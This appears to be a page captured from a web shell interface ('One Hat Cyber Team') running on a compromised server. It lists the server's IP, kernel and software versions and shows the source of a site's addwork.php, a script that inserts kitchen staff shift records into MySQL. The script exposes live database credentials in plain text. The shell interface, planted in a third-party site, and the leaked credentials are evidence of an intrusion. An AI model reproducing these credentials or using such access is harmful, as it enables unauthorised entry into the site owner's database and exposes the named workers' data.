One Hat Cyber Team

Your IP : 3.139.104.134

Server IP : 50.28.103.30

Server : Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64

Server Software : nginx/1.24.0

PHP Version : 8.3.12

Buat File | Buat Folder

Dir : ~/www/wwwroot/sd.electronharmony.com/

Edit File: addwork.php

<?php
// 数据库配置
$servername = "localhost";
$username = "t001";
$password = "ZRTsRb6Ycp585AEC";
$dbname = "t001";

// 创建数据库连接
$conn = new mysqli($servername, $username, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 获取当前日期
date_default_timezone_set('America/Los_Angeles');
$date = date("Y-m-d");

// 准备要插入的数据
$data = [
    ["DIEGO", "上班", "11:30AM", "焖锅", "炒锅", "x", "x", "x", "9:30PM", "Yes"],
    ["JESUS", "上班", "10:30AM", "面点", "切配", "x", "x", "x", "9:30PM", "Yes"],
    ["Eliseo", "上班", "10:30AM", "焖锅", "炒锅", "x", "x", "x", "9:30PM", "Yes"],
    ["JUAN", "上班", "10:30AM", "洗碗收碗", "打扫卫生", "x", "x", "x", "9:30PM", "Yes"],
    ["Lan", "上班", "10:30AM", "管理", "炒锅", "x", "x", "x", "9:30PM", "Yes"]
    
    
];

// 使用准备好的语句来插入数据
$stmt = $conn->prepare("INSERT INTO works (mname, rest, startt, bs, cs, ds, es, fs, endt, accomplish, date) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
foreach ($data as $d) {
    list($mname, $rest, $startt, $bs, $cs, $ds, $es, $fs, $endt, $accomplish) = $d;
    $stmt->bind_param("sssssssssss", $mname, $rest, $startt, $bs, $cs, $ds, $es, $fs, $endt, $accomplish, $date);
    if (!$stmt->execute()) {
        echo "插入记录时出错: " . $stmt->error . "\n";
    }
}

// 关闭准备好的语句和数据库连接
$stmt->close();
$conn->close();

echo "4条记录已成功插入";
header("Location: works.php");
?>